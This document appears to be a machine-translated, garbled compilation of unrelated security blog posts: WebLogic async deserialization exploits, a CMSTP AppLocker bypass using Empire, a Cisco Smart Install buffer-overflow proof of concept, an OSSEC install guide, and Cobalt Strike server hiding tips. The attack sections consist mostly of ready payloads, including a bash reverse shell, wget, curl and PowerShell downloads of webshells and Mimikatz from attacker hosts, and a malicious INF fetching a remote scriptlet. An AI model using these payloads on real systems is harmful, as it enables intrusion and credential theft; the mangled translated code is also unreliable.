WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

stringbash -i gt; amp; /dev/tcp/vpsip/vpsport 0gt; amp; 1/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv:body/soapenv:envelope 2vgr5ao2ekx8057.png

(3)。シェルのリバウンドが成功するのを見ることができます

2。WebShellをアップロードします

(1)。 Kali攻撃マシンにシンプルなWebサーバーを構築してから、Webshll.txtをその下に配置できます。

(2)次のPOCを使用して送信攻撃を実行します

POC1:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 789

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringWget http://VPSIP:VPSPORT/webShell.txt -oサーバー/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

POC2:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 789

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

文字列/bin/bash/string

/空所

void index='1'

文字列-C/文字列

/空所

void index='2'

StringCurl http://VPSIP:VPSPORT/webShell.txt -oサーバー/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

(3)。 WebShellにアクセスします

http://149.248.54.82:7001/_async/test.jsp

3。窓の下の環境構造

1.Weblogic12.1.3.0.0インストール

住所をダウンロード:https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

インストールを開始:( Java環境サポートが必要です。Java環境変数の構成を忘れないでください)

次のインストールパッケージのいずれかを選択して、ここで12.1.3.0を選択しました

2。実行するためにCMDを開きます:

c: \プログラムファイル\ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0_wls.jar

c: \ program files \ java \ jdk1.8.0_121 \ bin \ directoryでjava.exeを使用して、weblogic12c jarパッケージを実行します(デフォルトの順序が使用されます。ファイル\ java \ jdk1.8.0_121 \ jre \ bin \が使用されるため、パッケージJREは有効なJDKではありません)。したがって、CMDでは、C: \プログラムファイル\ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0.0.0.0_Wls.jar(プログラムを使用する理由〜1を使用する必要があります。

3。しばらく待つと、インストーラーがポップアップします。

4。構成が完了したら、startweblogic.cmdを見つけてダブルクリックしてweblodgicを開始します。

5.アクセスhttp://127.0.0.1:7001/コンソール検証

4。Windowsの下での脆弱性の悪用:

1.アドレスを開きhttp://IP:port/_async/asyncreSponseseviceが脆弱性があるかどうかを確認する

2。シェルをリバウンドするには、CobaltStrikeを直接使用してPayload.ps1 PowerShellスクリプトを生成し、スクリプトをパブリックネットワークに配置し、次のPOCを使用して送信できます。

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 861

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

stringcmd/string

/空所

void index='1'

文字列/c/文字列

/空所

void index='2'

StringPowerShell 'IEX(new-Object net.WebClient).DownLoadString(' http://IP:port/payload.ps1 '); Invoke -Mimikatz -Dumpcreds '/文字列

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body/soapenv:envelope

Cobalstrikeでターゲットシステムを正常に跳ね返すシェルがわかります

3。WebShellをアップロードします

(1)。パブリックホストにwebshell.txtを配置します(ここにKaliホストがあります)

2。次のPOCを使用してリクエストを送信します。

POC1:

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 854

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

WSA:ACTIONXX/WSA:ACTION

WSA:RELATESTOXX/WSA3360RELATESTO

work:workcontext xmlns:work='http://bea.com/2004/06/soap/workarea/'

void class='java.lang.processbuilder'

array class='java.lang.string' length='3'

void index='0'

stringcmd/string

/空所

void index='1'

文字列/c/文字列

/空所

void index='2'

StringPowerShell(new-Object System.net.WebClient).DownLoadFile( 'http://IP3360port/webshell.txt'、 'Servers/adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')/弦

/空所

/配列

void method='start' //void

/work:workcontext

/soapenv3360header

soapenv3360body

ASY:ONASYNCDELIVILION/

/soapenv3360body&lt

デフォルトでは、Applockerを使用すると、バイナリファイルをフォルダーで実行できます。これが、バイパスできる主な理由です。このようなバイナリファイルは、ApplockerとUACをバイパスするために簡単に使用できることがわかっています。 Microsoftに関連するバイナリの1つはCMSTPです。 CMSTPはINFファイルを歓迎するため、INFを介して開発することができます。そのため、そのような開発の方法を学びます。

誰もが知っているように、CMSTPはSCTファイルを受け入れてから静かに実行するため、目標を達成するために悪意のあるSCTファイルを作成します。これを行うには、Empire Powershellを使用します。 Empire Powershellの詳細なガイドについては、ここをクリックしてください。

Kaliターミナルから帝国フレームワークを開始し、次のコマンドを入力してマルウェアを作成します。

リスナー

uselistener http

ホストを設定192.168.1.109

実行する

ws414linxaq8286.png

上記のコマンドは、リスナーを作成し、リスナーインターフェイスから戻るために戻って入力し、SCTファイルタイプを作成します。

UseStager Windows/Launcher_Sct

リスナーhttpを設定します

実行する

上記の脆弱性を実行すると、SCTファイルが作成されます。次のスクリプトを使用して、PowerShellでファイルを実行します。このスクリプトでは、SCTファイルへのパスを指定し、図に示すように次のコードを追加します。

ここからこのスクリプトをダウンロードしてください: cmstp.exe /s cmstp.inf

[バージョン]

signature=$ chicago $

AdvancedInf=2.5

[defaultinstall_singleuser]

unregisterocxs=unregisterocxSection

[registerocxSection]

%11%\ scrobj.dll、ni、https://gist.githubusercontent.com/nicktyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c88b7deb8a66666665

[文字列]

appact='Software \ Microsoft \ Connection Manager'

servicename='yay'

shortsvcname='yay'

ogdifkw5oyl8288.pngさて、ファイルを被害者のPCに送信し、被害者のコマンドプロンプトで次のコマンドを実行します。

cmstp.exe /s shell.inf

xlzs5kxmwbt8290.png

コマンドを実行すると、MeterPrererセッションが表示されます。次のコマンドを使用してセッションにアクセスします。

対話セッション名

このようにして、CMSTPバイナリを使用してApplockerの制限をバイパスできます。 CMSTPはINFファイルを必要とし、それを活用して、被害者のPCにアクセスするのに役立ちます。

bbyjsswvujr8292.png

0x01はじめに

スマートインストールクライアントコードでは、スタックベースのバッファオーバーフローの脆弱性が見つかりました。攻撃者は、ログインを認証せずに任意のコードをリモートで実行できます。 Cisco Smartインストールは、新しいスイッチの簡単な展開を提供する「プラグアンドプレイ」構成および画像管理機能です。この機能により、ユーザーはCiscoスイッチをどこにでも配置し、ネットワークにインストールし、追加の構成要件なしで起動することができます。したがって、脆弱なネットワークデバイスを完全に制御できます。スマートインストールは、新しいスイッチに適したグラフィカルインターフェイス管理を提供するプラグアンドプレイの構成と画像管理機能です。初期構成プロセスを自動化し、オペレーティングシステムの現在ロードされている画像を介して新しいスイッチを提供します。この機能は、構成が変更されたときにホットプラグとホットプラグのリアルタイムバックアップも提供します。この機能は、デフォルトでクライアントで有効になっていることに注意してください。

0x02脆弱性の説明

Cisco iOSおよびiOS-XEシステムのSmartインストールクライアントコード(CVE-2018-0171)には、バッファスタックオーバーフローの脆弱性が存在します。攻撃者は、悪意のあるデータパケットをTCP 4786ポートにリモートで送信し、脆弱性を活用してターゲットデバイスのスタックオーバーフローの脆弱性をトリガーし、デバイスがサービスを拒否したり、リモートコマンドの実行を引き起こしたりし、攻撃者は脆弱性に影響を与えるネットワークデバイスをリモートで制御できます。 Cisco Switchであると報告されています

TCP 4786ポートはデフォルトで開いています

0x03脆弱性をチェック

1。シスコネットワークデバイスにTCP 4786ポートが開いている場合、攻撃に対して脆弱です。このようなデバイスを見つけるには、NMAPを介してターゲットネットワークをスキャンするだけです。

NMAP -P T:4786 192.168.1.0/24

2。ネットワークデバイスでスマートインストールクライアントの機能が有効になっているかどうかを確認するために、次の例は、スマートインストールクライアントとして構成されたCisco Catalyst Switchのshow vstack configコマンドの出力です。

switch1#show vstack config

chole: client(smartinstall exabled)

switch2#show vstack config

capability:クライアント

Opera Mode:有効になっています

役割:クライアント

役割:クライアントおよびオペラモード:有効または役割:show vstack configコマンド出力からのクライアント(smartinstall有効)情報は、この機能がデバイスで有効になっていることを確認します。

3. Cisco Machineでコマンドを実行して判断を下し、ポート4786を開き、SMIを使用します。

スイッチショーTCPブリーフすべて

tcblocalアドレス外国住所(州)

0344b794*.4786*。*聞いてください

0350A018*.443*。*聞いてください

03293634*.443*。*聞いてください

03292d9c*.80*。*聞いてください

03292504*.80*。*聞いてください

Cisco iOSおよびIEXソフトウェアバージョンチェック:

ルーターショーバージョン

Cisco IOSソフトウェア、C2951ソフトウェア(C2951-UniversAlk9-M)、バージョン15.5(2)T1、リリースソフトウェア(FC1)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2015 Cisco Systems、Inc。

Mon 22-Jun-15 09:32 by prod_rel_teamをコンパイルしました

iOS-xe-device#showバージョン

Cisco IOSソフトウェア、Catalyst L3 Switchソフトウェア(CAT3K_CAA-UNIVERSALK9-M)、バージョンDenali 16.2.1、リリースソフトウェア(FC1)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2016 Cisco Systems、Inc。

MCPREによるSun 27-Mar-16 21:47を編集しました

4.脆弱性が影響を受けたかどうかわからない場合は、CiscoのCisco IOSソフトウェアチェッカーを使用して検出できます。

https://tools.cisco.com/security/center/softwarechecker.x

5。次のスクリプトを使用して、対応するIPポートが実際に開いているかどうかを検出します。 Cisco SMIプロトコル

https://github.com/cisco-talos/smi_check/blob/master/smi_check.py

プロトコル機能はMSFにあります

https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d

#python smi_check.py -i targetip

[情報] TCPプローブをTargetIP:4786に送信します

[情報] Smart Installクライアント機能は、TargetIP:4786でアクティブになります

[情報] TargetIPが影響を受けます

0x04衝撃の範囲

インパクト機器:Catalyst 4500スーパーバイザーエンジン

シスコ触媒3850シリーズスイッチ

Cisco Catalyst 2960シリーズスイッチ

スマートインストールクライアントの一部を含むデバイスも影響を受ける可能性があります:Catalyst 4500スーパーバイザーエンジン

Catalyst 3850シリーズ

Catalyst 3750シリーズ

Catalyst 3650シリーズ

Catalyst 3560シリーズ

Catalyst 2960シリーズ

Catalyst 2975シリーズ

IE 2000

IE 3000

IE 3010

IE 4000

IE 4010

IE 5000

SM-ES2 SKUS

SM-ES3 SKUS

NME-16ES-1G-P

SM-X-ES3 SKUS

0x05脆弱性の確認

以下は、この脆弱性の検証のためのPOCです。

#smi_ibc_init_discovery_bof.py

ソケットをインポートします

インポート構造

OptParse Import optionParserから

#ターゲットオプションを解析します

parser=optionParser()

parser.add_option( '-t'、 ' - ターゲット'、dest='ターゲット'、help='スマートインストールクライアント'、デフォルト='192.168.1.1')parser.add_option( '-p'、 '-port'、dest='port'、type='int'、help=4786) parser.parse_args()

def Craft_tlv(t、v、t_fmt='!i'、l_fmt='!i'):

return struct.pack(t_fmt、t) + struct.pack(l_fmt、len(v)) + v

def send_packet(ソック、パケット):

sock.send(パケット)

def受信(靴下):

sock.recv()を返します

__name__=='__main __' :の場合

印刷'[*]スマートインストールクライアントに接続する'、options.target、 'port'、options.port

con=socket.socket(socket.af_inet、socket.sock_stream)

con.connect((options.target、options.port))

ペイロード='bbbb' * 44 shellcode='d' * 2048

data='a' * 36 + struct.pack( '!i'、len(payload) + len(shellcode) + 40) +ペイロード

tlv_1=craft_tlv(0x00000001、data)tlv_2=shellcode

PKT=HDR + TLV_1 + TLV_2

印刷'[*]悪意のあるパケットを送信

send_packet(con、pkt)

スイッチを攻撃するには、次のコマンドを実行します。

ホスト$ ./SMI_IBC_INIT_DISCOVERY_BOF.PY-T 192.168.1.1

スイッチでは、クラッシュメッセージを表示して再起動する必要があります。

00:10:35 UTC MON MAR 1 19933: CPUVECTOR 1200、PC=42424240の予期しない例外

-traceback=42424240

crashinfoをflash:/crashinfo_ext/crashinfo_ext_15に書き込みます

===フラッシングメッセージ(00:10:39 UTC MON MAR 1993)===buffered messages:

.

キューに掲載されたメッセージ:

Cisco IOSソフトウェア、C2960ソフトウェア(C2960-LANBASEK9-M)、バージョン12.2(55)SE11、リリースソフトウェア

(FC3)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2016 Cisco Systems、Inc。

ProD_REL_TEAMによってWED 17-AUG-16 13:46をコンパイルしました

命令TLBミス例外(0x1200)!

srr0=0x42424240 srr1=0x00029230 srr2=0x0152ace4 srr3=0x00029230

esr=0x00000000親愛なる=0x00000000 tsr=0x840000000 dbsr=0x00000000

CPUレジスタContext:

Vector=0x00001200 PC=0x42424240 msr=0x00029230 cr=0x33000053

LR=0x42424242 Ctr=0x014D5268 XER=0xc000006a

R0=0x42424242 R1=0x02B1B0B0 R2=0x0000000 R3=0x032D12B4

R4=0x000000B6 R5=0x0000001E R6=0xAA3BEC00 R7=0x0000014

R8=0x0000001E R9=0x00000000 R10=0x001BA800 R11=0xfffffff

R12=0x00000000 R13=0x00110000 R14=0x0131e1a8 r15=0x02b1b1a8

R16=0x02B1B128 R17=0x00000000 R18=0x0000000 R19=0x02B1B128

R20=0x02b1b128 R21=0x00000001 R22=0x02b1b128 r23=0x02b1b1a8

R24=0x00000001 R25=0x00000000 R26=0x42424242 R27=0x42424242

R28=0x42424242 R29=0x42424242 R30=0x42424242 R31=0x42424242

スタックtrace:

PC=0x42424240、sp=0x02b1b0b0

フレーム00: SP=0x42424242 PC=0x42424242

0x06脆弱性修正

#conf t

構成コマンドを入力します

ライン。 CNTL/zで終了します。

NSJ-131-6-16-C2960_7(config)#no

vstack

NSJ-131-6-16-C2960_7(config)#exit

重要なのは、この文がvstackなしです

もう一度見て、ポートがオフになっています。

#show TCPブリーフすべて

TCBローカル

住所の住所

(州)

075A0088 *.443

*。*

聞く

0759F6C8 *.443

*。*

聞く

0759ED08 *.80

*。*

聞く

0759E348 *.80

*。*

聞く

0x06脆弱性ハザード

これにより、攻撃者が影響を受けるデバイスにバッファオーバーフローを引き起こす可能性があります。これには、次の効果があります。

トリガーデバイスリロード

攻撃者がデバイスで任意のコードを実行できるようにします

影響を受けるデバイスに無限のループ再起動を負担すると、それはデバイスのクラッシュです

0x07脆弱性修正

#conf t

1行に1つの構成コマンドを入力します。 CNTL/zで終了します。

NSJ-131-6-16-C2960_7(config)#no vstack

NSJ-131-6-16-C2960_7(config)#exit

重要なのは、この文がvstackなしです

もう一度見て、ポートがオフになっています。

#show TCPブリーフすべて

TCBローカルアドレス外国住所(州)

075A0088 *.443 *。 *聞いてください

0759F6C8 *.443 *。 *聞いてください

0759ED08 *.80 *。 *聞いてください

0759E348 *.80 *。 *聞いてください

0x08参照

https://EMBEDI.com/blog/cisco-smart-install-remote-code-execution/

https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20180328-smi2

https://www.anquanke.com/post/id/103122

https://mp.weixin.qq.com/s/cmyuugfmox5pk89fo_er8w

https://www.youtube.com/watch?v=ce7knk6ujukfeature=youtu.bet=99

https://www.youtube.com/watch?v=tsg5ezvudnufeature=youtu.be

1。序文

OSSECは、オープンソースのホストベースの侵入検知システムであり、略してHIDと呼ぶことができます。ログ分析、ファイルの整合性チェック、ポリシー監視、ルートキット検出、リアルタイムアラーム、リンケージ応答などの機能があります。 Linux、Windows、MacOS、Solaris、HP-ux、AIXの複数のオペレーティングシステムをサポートしています。企業のセキュリティのための強力なツールです。

Zabbixと同様のS/Cランニングモード

OSSECは、3種類のロギング、アラートロギング、ファイアウォールロギング、イベント(アーカイブ)ロギングをサポートしています

サーバーはudp514(rsyslog)、udp1514(ossec-remoted)ポート監視を開き、クライアントはリアルタイムステータスデータをサーバーに送信します

Integrated fail2ban、iptablesフィルタリング、エラーログ分析

詳細な紹介とドキュメントについては、公式ウェブサイトを参照してください:http://www.ossec.net/

2。システム環境

サーバー:

コンピューター名:Ossec-Server

IPアドレス:172.16.91.130

OS: CENTOS7.0

クライアント1:

コンピューター名:Agent-Linux

IPアドレス:172.16.91.131

OS:UBUNUT14.04

クライアント2:

コンピューター名:Agent-Win7

IPアドレス:172.16.91.143

OS:WIN7X86

3。 OSSECサーバーのインストール

yumソースのインストールと構成

1。Centosの下でYumフォルダーを入力します

[root@localhost] #cd /etc/yum.repos.d/

knhsynttfaj9004.jpg

2。WGETを使用して、レポファイルをダウンロードします

wget http://mirrors.aliyun.com/repo/centos-7.repo

WGETコマンドが有効になっていない場合、WGETツールがまだインストールされていないことを意味します。 yum -yを入力して、wgetをインストールしてインストールします。現在のディレクトリは/etc/yum.repos.d/であり、私がダウンロードしたばかりのCentos-7.repoはこのディレクトリにもあります

[root@localhost]#yum -yインストールwget

[root@localhost]#

wget http://mirrors.aliyun.com/repo/centos-7.repo

phuvdfziii59005.jpg

s3dm22udamv9006.jpg

3。システムの元のレポファイルをバックアップします

[root@localhost]#mv centos-base.repocentos-base.bak.repo

#ITはCentos-base.repo-centos-base.repo.bakの名前を変更することを意味します

g5toy5kuzhm9007.jpg

4.システムの元のレポファイルを交換します

MV CENTOS-7.REPOCENTOS-BASE.REPO

#ITは、Centos-7.Repo-Centos-Base.Repoの名前を変更することを意味します

[root@localhost]#mv centos-7.repo centos-base.repo gsk2ckh5vzy9008.jpg

5。Yumソースアップデートコマンドを実行します

[root@localhost]#

ヤムはすべてをきれいにします

[root@localhost]#

Yum Makecache

[root@localhost]#

YUMアップデート

2zf0rvrofbi9009.jpg

vehq0ugjdrq9010.jpg

ファイアウォールを閉じます

[root@localhost

〜]#cat/etc/selinux/config

このファイルは、システム上のSELINUXの状態を制御します。

Selinux=これら3つの値のいずれかを取得できます3:

#施行-Selinuxセキュリティポリシーはです

強制。

#許容- Selinuxが警告を印刷します

強制する代わりに。

#無効-Selinuxポリシーはロードされていません。

selinux=disabled

selinuxType=3つの値のうち3つのうち:のいずれかを取得できます

#ターゲット - ターゲットプロセスはです

保護された、

#最小- ターゲットポリシーの変更。

選択されたプロセスのみが保護されています。

#MLS-マルチレベルのセキュリティ保護。

selinuxType=ターゲット

閉じるファイアウォール:

Systemctl stop firewalld.service #stop firewall

SystemCtl Disabled firewalld.service #disable firewallブート

mysqlのインストールと構成

1。MySQLのYumソースのRPMパッケージをダウンロード

[root@localhost]

〜]#

wgethttp://Repo.mysql.com/mysql57-community-release-el7.rpm

2。rpmファイルをインストールし、コマンドを介してmysqlのyumソースをインストールします。

[root@localhost]

〜]#rpm -ivh mysql57-community-release-el7.rpm

3。YumはMySQLとLIBプラグインをインストールします

[root@localhost]

〜]#yum install -y mysql -server

[root@localhost]

〜]#yum -yマリアドブサーバーmariadb mariadb-develをインストールします

4。MySQLを開始します

[root@localhost]

〜] #SystemCtl MySQLDを開始します

gnbnqa3sslb9011.jpg

5。スタートアップのセットアップ:

[root@localhost]

〜] #systemctlを有効にしますmysqld

cw50qzkjytj9012.jpg

6. mysqlの一時的なパスワード情報を取得します

[root@localhost]

〜] #grep '一時的なパスワード' /var/log/mysqld.log

ujb1x0vtndh9013.jpg7。 MySQLパスワードポリシーを設定します

[root@localhost]

〜] #mysql -uroot –P

mysql

Global validate_password_policy=0を設定します。

mysqlset

Global Validate_password_length=1;

lkyr0jy5jda9014.jpg

8。ルートアカウントがログインできるように設定します

mysql

「roothost」で識別されたユーザー「ルート」@'localhost'を変更します。

rnb55q4lnul9015.jpg

7.他のマシンにログインすることを許可します

z3t1eo0ornu9016.jpg

8. mysqlにユーザーoseecを追加して、挿入、追加、削除などのアクセス許可があります。

mysql

-uroot -P

MySQLはデータベースOSSECを作成します。

mysql grant insert、select、update、create、削除、ossec。* to

ossec@localhost 'ossec'によって識別されました。

MySQLフラッシュ特権。

mysql \ q

e0rtpxuaghy9017.jpg

9.データベースを作成して、以下のインストール構成を容易にし、マシンのmysqに接続します

[root@localhost]

〜] #mysql -uroot -P

mysql

データベースOSSECを作成します。

hif2wpbtm259018.jpg

管理ライブラリとセドメールとPHPソフトウェアのインストール

1.最初に、使用する必要がある関連するライブラリとソフトウェアをインストールします。最終的に分析のためにログをMySQLにインポートする必要があり、Webプログラムを通じてアラーム結果を表示する必要があるため、ローカルマシンをSMTPとして扱う必要があるため、MySQL、Apache、Sendmailサービスをローカルマシンにインストールする必要があります。現在の端末で次のコマンドを実行します

[root@localhost]

〜]#yum install wget gcc make httpd php php-mysql sendmail

xeisbkncfl49019.jpg

2。HTTPDサービスを開始してステータスを表示し、ランダム開始を設定します

[root@localhost]

〜] #SystemCtl Start HTTPD #Start HTTPDサービス

[root@localhost]

〜] #SystemCtlステータスhttpd.Service #View HTTPDサーバー

[root@localhost]

〜] #systemctl enable httpd #set起動

hnpqmq0iqlp9020.jpg

3. sendmailサービスを開始してステータスを表示し、ランダムスタートを設定します

[root@localhost]

〜] #SystemCtl Start sendmail.service #set Sedmailを開始します

[root@localhost]

〜] #SystemCTLステータスSENDMAIL.SERVICE #View SedMail Status

[root@localhost]

〜] #SystemCtl enable sendmail.service #set startup

qxpjsdj5ujh9021.jpg

OSSECサーバー側のインストールと構成

1。WGETからOSSECインストールパッケージをダウンロードします

[root@localhost]

〜]#

wget https://bintray.com/artifact/download/ossec/ossec-hids/ossec-hids-2.8.3.tar.gz

2。OSSECインストールディレクトリを入力します

[root@localhost〜] #cd ossec-hids-2.9.3/

3。OSSECをサポートするには、次のように、インストール前にmake setDBコマンドを実行する必要があります

[root@localhost]

〜] #CD SRC

[root@localhost]

〜] #setdbを作成します

MySQLが正常にサポートできることを示すために、次の情報を見ました。

info:

MySQLサポートが編集されています。

4. OSSECサーバーをインストールします

[root@localhost]

Ossec-hids-2.8.3]#./install.sh

which:ホストはありません(/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/sbin:/us r/bin:/root/bin:/usr/local/mysql/bin:/usr/local/jdk1.7.09 //bin:/root/bin)

** ParaInstalaçãoEmPortuguês、Escolha

[BR]。

**中国語にインストールするには、[CN]を選択します。

** fur eine deutscheのインストールwohlen sie [de]。

**γιαεγκατλτασησταελληνικ最初、επιλέξτε

[EL]。

**英語にインストールするには、[en]を選択します。

**パラInstalar enespañol、eliga [es]。

** uneのインストールをfrançais、

choissez [fr]

** MagyarNyelvűTelepítéshezVálassza

[hu]。

**イタリアーノのl'intectazioneあたり、Scegli

[それ]。

**日本語《インストールします.以下を選択してください。 [JP]。

**ヘットネダーランドのキーズのvoor installatie

[NL]。

** AbyInstalowaćWJęzykuPolskim、Wybierz

[PL]。

**дляинстрокцпо陶器するげするげすると

、ведите[ru]。

** za instalaciju na srpskom、izaberi [sr]。

**TürkçeKurulumIçinSeçin[Tr]。

(en/br/cn/de/el/es/fr/hu/it/jp/nl/pl/ru/sr/tr)[en] : cn

which:ホストはありません

(/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/sbin:/us r/bin:/root/bin:/usr/local/mysql/bin:/usr/local/jdk1.7.09 //bin:/root/bin)

Ossec Hids v2.7.1インストールスクリプト-http://www.ossec.net

OSSEC HIDSのインストールを開始します。

Cコンパイラがマシンに正しく取り付けられていることを確認してください。

ご質問や提案がある場合は、dcid@ossec.net(またはdaniel.cid@gmail.com)にメールしてください。

- システムタイプ: Linux ossec-server.com 2.6.32-431.el6.x86_64

- ユーザー:ルート

-Host : ossec-server.com

- Enterを押して続行するか、CTRL-Cを終了して終了します。

-

1-どのインストール(サーバー、エージェント、ローカル、またはヘルプ)が必要ですか?

サーバ

- サーバータイプのインストールが選択されました。

2-インストール環境の初期化。

-OssecHids [/usr/local/ossec] :/usr/local/ossecのインストールパスを選択してください

-OSSECHIDSは/USR/Local/OSSECにインストールされます。

3- OSSEC HIDSの構成。

3.1-電子メールアラートを受け取りたいですか? (y/n)[y] : y

- 電子メールアドレスを入力してください。 root@backlion.org

-SMTPサーバーIPまたはホスト名を入力してください。 127.0.0.1

3.2-システムの整合性検出モジュールを実行しますか? (y/n)[y] : y

- システム整合性検出モジュールが展開されます。

3.3- rootkit検出を実行しますか? (y/n)[y] : y

-RootKit検出が展開されます。

3.4-関連する応答を使用すると、aを実行できます

定義されたコマンド。

たとえば、特定のIPアドレスへのアクセスをブロックしたり、特定のユーザーへのアクセスを無効にしたりできます。

詳細については、をご覧ください

http://www.ossec.net/en/manual.html#active-response

- アクティブな応答関数を有効にしますか? (y/n)[y] : y

-Association Responseが有効になります

- デフォルトでは、ホストの拒否とファイアウォールの両方の拒否の両方を有効にします。

最初のケースでは、/etc /hosts.denyにホストを追加します。

2番目のケースは、iPtables(Linux)またはIPFilter(Solaris、

ホストへのアクセスは、FreeBSDまたはNetBSDで拒否されます。

- この機能は、SSHDブルートフォース攻撃、ポートスキャンなどをブロックするために使用できます

いくつかの形式の攻撃。他の場所に追加することもできます。

たとえば、それらを鼻のイベントとして追加します。

- ファイアウォールドロップ機能を有効にしますか? (y/n)[y] : y

- イベントレベル=6のときにファイアウォールドロップが開始されます

- リンケージ関数のデフォルトのホワイトリストは:です

-

172.16.91.130 #ossecサーバーIP

- ホワイトリストにIPSを追加しますか? (Y/N)? [n] : n

3.5-リモートマシンSyslog(ポート514 UDP)を受け取りたいですか? (y/n)[y] : y

- リモートマシンSyslogが受信されます。

3.6-ログ:を分析するには、構成ファイルを設定します

- /var/log/メッセージ

- /var/log/secure

- /var/log/maillog

- 他のファイルを監視する場合は、構成ファイルossec.confにある必要があります

新しいアイテムを追加します。

構成に関する質問はhttp://www.ossec.netにあります。

5。サーバーを構成して正常に動作させるために、次のコマンドを実行してデータベースサポートを有効にします

[root@localhost]

Ossec-Hids-2.8.3]#/var/ossec/bin/ossec-control enableデータベース

6. mysqlテーブル構造をmysqlにインポートします

[root@localhost]

ossec-hids-2.8.3]#

mysql

-uossec -p ossec src/os_dbd/mysql.schema

7.構成ファイルの権限を変更すると、サービスが開始されます。

[root@localhost]

など]#chmod u+w/var/ossec/etc/ossec.conf

8。OSSEC.CONFファイルを編集し、OSSEC_CONFIGでMySQL構成を追加します

database_output

hostnameLocalhost/hostname

usernameossec/username

PasswordDossec/パスワード

Databaseossec/データベース

typemysql/type

/database_output

9.リモートマシンをサポートするサーバーインストールプロセス中にSyslogが設定されるため、ossec.confファイルのsyslogパーツを構成する必要があり、ossec.confファイルを変更する必要があり、収集する必要があるすべてのネットワークセグメントが追加されます。

リモート

connectionsyslog/connect

ツールの準備

外国人サーバー

無料クジラ(VPN)

CS 4.4

nginx

csサーバー構成

サーバーpingが無効になっています

1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。

2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1

次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。

vim /etc/sysctl.conf

net.ipv4.icmp_echo_ignore_all=1

sysctl -p

1049983-20230227144827835-1460586883.jpg

3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。

1049983-20230227144828724-887380428.png

ポートを変更

1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます

VIM TeamServer 1049983-20230227144829610-877637485.jpg

2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。

./TeamServer XX.XX.XX.XX Xiao

